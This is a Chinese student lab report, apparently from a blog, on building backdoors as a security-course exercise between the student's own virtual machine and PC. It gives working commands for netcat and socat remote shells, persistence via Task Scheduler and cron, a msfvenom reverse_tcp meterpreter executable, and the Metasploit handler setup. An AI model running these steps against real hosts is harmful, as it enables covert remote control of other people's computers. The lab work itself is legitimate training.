1.实践基础

1.1.什么是后门

  • 后门就是系统或者软件在不经过正常认证流程就可以连接或使用的通道。
  • 后门的产生有以下原因:

1.系统或软件在编写最初时程序员人为留下的特殊通道

2.系统或软件在编写时由于程序本身的原因产生的漏洞而被不法分子利用产生的后门

3.不法分子利用自制木马或其他攻击程序植入正常用户的主机产生的后门

1.2.基础问题

  • 例举你能想到的一个后门进入到你系统中的可能方式?

随意点击网页链接浏览未知内容的网页

随意在网上下载未经认证的软件

使用游戏外挂

  • 例举你知道的后门如何启动起来(win及linux)的方式?

Windows中启动应用程序时被启动

Linux中后台输入命令启动

  • Meterpreter有哪些给你映像深刻的功能?

可以在一个正常的可执行文件中添加反弹链接的代码,使得它成为一个后门

通过该软件可以调取被入侵主机的摄像头和音频输入设备,实现实时拍照,摄像和录音的功能,还能监听被入侵主机的键盘输入,获取其当前输入的内容,这就让我们想到盗取用户密码等...可怕的事情

  • 如何发现自己有系统有没有被安装后门?

1.通过杀毒软件的防护和扫描功能

2.不定时的检查电脑当前运行中的各种程序,发现异常进程因立即关闭

2.实践内容

2.1.使用netcat获取主机操作Shell,cron启动

  • kali中是自带netcat软件的所以我们不需要下载就可以正常使用。而Windows系统中是没有该程序的,需要先下载才可以进行我们的实验。

    可以在老师的码云附件中下载(下载链接),无需安装解压即可使用。

注:由于控制需要通过网络,所以要首先保证攻击方主机和被攻击者主机网络是可连通的,由于实验是用虚拟机与物理机相互攻击,且两者使用同一网络,所以不存在该问题。

  • 获取IP地址,Windows系统输入ipconfig,Linux系统输入ifconfig

  • 在Linux系统中打开命令行,输入

nc -l -p 2329

在Windows系统中进入netcat程序所在文件夹,打开命令行输入

ncat 172.16.2.34 2329 -e cmd.exe

注:netcat中参数

-l 代表开启监听

-p 指定端口

-e 发送一个指定应用程序



  • 两个系统可以互相实现调用shell的操作,不过Linux发送的是-e /bin/sh而不是cmd.exe

2.2.使用socat获取主机操作Shell, 任务计划启动

  • socat拥有的功能与netcat并没有什么区别,这部分主要是使用Windows的任务计划的功能让其在某个特定时段自动开启连接

  • 首先进入

控制面板-->搜索“管理工具”-->任务计划  并进入

  • 点击创建任务

  • 在触发器选项卡中设置在每天用户登录时启动
  • 在操作中加入socat.exe在可选参数中填入
tcp-listen:2329 exec:cmd.exe,pty,stderr

  • 使用快捷键Win+L快速注销用户再重新登录,可以发现程序已经启动了

  • 然后在kali中输入

socat - tcp:172.16.2.65 2329

就可以连接到任务Windows主机了

同样也可以在Linux上设置计划任务,用Windows去连接,Linux命令格式如下:

* * * * * socat tcp-listen:[PORT] exec:/bin/sh,pty,stderr
//分 时 日 月 年 命令 参数:端口号 发送程序,类型

2.3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 输入命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.2.34 `PORT=2329 -f exe > 20162329_backdoor.exe

-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.

-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。

-e 使用的编码器,用于对shellcode变形,为了免杀。

-i 编码器的迭代次数。如上即使用该编码器编码5次。

-b badchar是payload中需要去除的字符。

LHOST 是反弹回连的IP

LPORT 是回连的端口

-f 生成文件的类型

> 输出到哪个文件

  • 使用ncat命令实现文件的传输

可以看到我们做好的后门已经传输到了Windows系统上,然后运行我们这个程序结果什么事情都没有发生,但其实后门已经打开了,接下来就是实现后门的连接和做一些 骚操作

  • 首先要在Linux系统上打开对后门程序的连接监听
  • 输入msfconsole进入MSF控制台,如图还给我们画出了一个小忍者(黑客):
  • 依次输入下列命令
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.2.34
set LPORT 2329
exploit
  • 结果就连接成功了,如下图:

2.4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 那我们能做点什么呢?help一下

  • 发现我们有好多事情可以做,比如调用对方的摄像头,拍个照

  • 提个权吧

3.总结与体会

通过本次实验切实的了解了什么是后门,并且通过一系列操作在一定条件下我们也自己实现了后门的制作和渗透入侵,这也让我意识到了网络安全的重要性,然后想了想以前自己在网上随便下载软件和打开网页,真是让我感到细思极恐。实验既有趣又有用,我觉得以后我一定会更注意网络安全防护!!

2018-2019-2 网络对抗技术 20162329 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  6. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

  9. 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...

随机推荐

  1. XGBoost参数调优完全指南

    简介 如果你的预测模型表现得有些不尽如人意,那就用XGBoost吧.XGBoost算法现在已经成为很多数据工程师的重要武器.它是一种十分精致的算法,可以处理各种不规则的数据.构造一个使用XGBoost ...

  2. 文件的暂存(git add)

    如果我们更改了之前已经被跟踪的main.c,然后执行git status $ git status On branch master Changes not staged for commit: (u ...

  3. Virtualbox Ubuntu 虚拟机命令行挂载共享文件夹及设置静态IP

    挂载共享文件夹 参考 [1], VirtualBox/GuestAdditions [2], VirtualBox/SharedFolders 步骤 在Virtualbox 虚拟机的菜单『设备』中,点 ...

  4. hibernate之一对多,多对一

    配置文件 <!--一对多--><!--name:集合属性名字 column:外键列名 class:与它相关的对象的完整列名 cascade:级联操作:分3种 save-update: ...

  5. js变量类型和计算

    # js入门基础-变量类型和计算 ` --首先由于我使用了一个不太合格的markdown来编写来文章,所以在移动端阅读不要太方便,建议移动端使用横屏模式或pc端阅读,当然如果你有平板那是最好的. -- ...

  6. 转 原生js canvas实现苹果电脑mac OS窗口最小化效果

    http://www.17sucai.com/pins/demo-show?id=2459 http://www.17sucai.com/pins/demo-show?id=2458  很多资料 ,前 ...

  7. java实现二叉树的建立以及实现二叉查找树的查、插、删、遍历

    一.采用存储结构 1.顺序存储:采用数组,顺序存储适配于完全二叉树,对于非完全二叉树并不合适,主要体现在空间上的浪费,所以我们需要用到另一种存储方式——链式存储. 2.链式存储:数据data用键值对的 ...

  8. BFS 模拟队列(水题)

    BFS 这道题 觉得比较适合BFS新手入门写,也许大家都以为最入门 的BFS题是在二维图上搜索,但是这道题是线性搜索,更加简单 POJ 3278 Catch That Cow Time Limit:  ...

  9. ASP.NET Core学习系列

    .NET Core ASP.NET Core ASP.NET Core学习之一 入门简介 ASP.NET Core学习之二 菜鸟踩坑 ASP.NET Core学习之三 NLog日志 ASP.NET C ...

  10. 从头开始学gradle【各系统安装gradle】

    所有的环境都是基于jdk1.8 java -version windows安装 下载对应的gradle.zip安装包,解压到指定文件即可,然后配置相应的环境变量即可使用 linux/mac 安装 mk ...